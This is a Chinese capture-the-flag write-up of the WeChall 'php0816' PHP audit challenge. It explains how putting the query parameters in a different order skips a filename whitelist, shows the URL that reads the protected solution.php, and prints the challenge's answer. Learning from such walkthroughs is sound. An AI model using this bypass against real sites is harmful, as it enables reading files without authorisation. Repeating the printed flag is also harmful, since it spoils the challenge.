Ox01 php0816
little hann大牛带我飞 和little hann大牛一起做的
一道题 记录一下 是个php代码审计的
题目的链接
http://www.wechall.net/challenge/php0816/
Ox02 code.php 白名单
code.php是的功能是用来查看源码的 可以设置一些高亮的选项
我们的目的是要查看到 solution.php这个文件 里面有key
如果能code.php?src=solution.php就可以查看到key了
code.php部分源码
foreach ($_GET as $key => $value) { if ($key === 'src') { php0816SetSourceFile($value); } elseif ($key === 'mode') { php0816execute($value); } ..... function php0816SetSourceFile($filename) { $filename = (string) $filename; static $whitelist = array(//这里白名单了 一直绕不过去 过滤得很严格 好伤心 'test.php', 'index.php', 'code.php', ); # Sanitize by whitelist if (!in_array($filename, $whitelist, true))//不在白名单里就给设置成false { $_GET['src'] = false; } } ......
这里先分析一下第一个函数php0816SetSourceFile 有个白名单的机制 我们都认为这个很严格 饶不过去 就一直卡在这里了 如果没有白名单 直接就去src=solution.php就可以看到源码了 后来才发现这个函数不是重点,白名单是绕不过去的,重点在后面一个函数。但是这个src参数在后面有作用。
Ox03 php0816Highlighter分析
code.php的部分源码
... function php0816execute($mode) { switch($mode) { case 'hl': php0816Highlighter(); break; } } ...
这里跟进去看一下这个php0816Highlighter()
code.php的部分源码
... function php0816Highlighter() { global $highlights; # <-- global highlights :D # SOMEONE SAID THIS WILL FIX IT, BUT PEOPLE CAN STILL SEE solution.php :( //这里给出了tips 就是要通过这个函数来查看到solution.php $filename = str_replace(array('/', '\\', '..'), '', Common::getGet('src'));//这里是关键,使用Common类中的getGet方法 使用了和之前相同的src参数 跟进去查看 那个方法 //通过使用Common::getGet获取了一个文件名,做了一些跨目录的过滤,防止读取到任意的文件,但是没有加上之前的白名单的机制 代码在下面 if (false === ($text = @file_get_contents($filename)))//先判断一下文件是否存在 { echo 'File not Found: '.htmlspecialchars($filename, ENT_QUOTES).''; return false; } $text = htmlspecialchars($text, ENT_QUOTES);//转换为 HTML 实体 foreach ($highlights as $highlight)//高亮设置 { $stlye = 'color:#CD7F32; background-color:white; padding: 0 8px;'; $text = str_replace($highlight, ''.$highlight.'', $text); } echo '<pre>'.$text.'</pre>';//这里输出了文件的内容,可以尝试读取到solution.php的内容 } ...
Common类
... final class Common { public function getGet($varname, $default=false) { if (!isset($_GET[$varname])) { return $default; } return get_magic_quotes_gpc() > 0 ? stripslashes($_GET[$varname]) : //这里做了一个过滤之后 get了一个文件名,可以发现这里没有之前的白名单,也就是这里出现了问题 $_GET[$varname];//GET了src参数 } } ...
Ox04 参数传递的顺序
要注意到参数传递顺序的不同 是会有影响的
http://www.wechall.net/challenge/php0816/code.php?src=solution.php&mode=hl
输出 File not Found:
这里是因为 之前的 foreach ($_GET as $key => $value)
src参数先传入的话 被白名单过滤 $_GET['src'] = false; src会被赋值为假 就无法输出页面内容了
http://www.wechall.net/challenge/php0816/code.php?mode=hl&src=solution.php
这个就会输出solution.php的内容 就是之前分析的过程
输出
<?php # The solution is 'AnotherCodeflowMistake'; ?> NOTHING MORE? END OF FILE!
FROM :appleu0.sinaapp.com | Author:appleu0
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论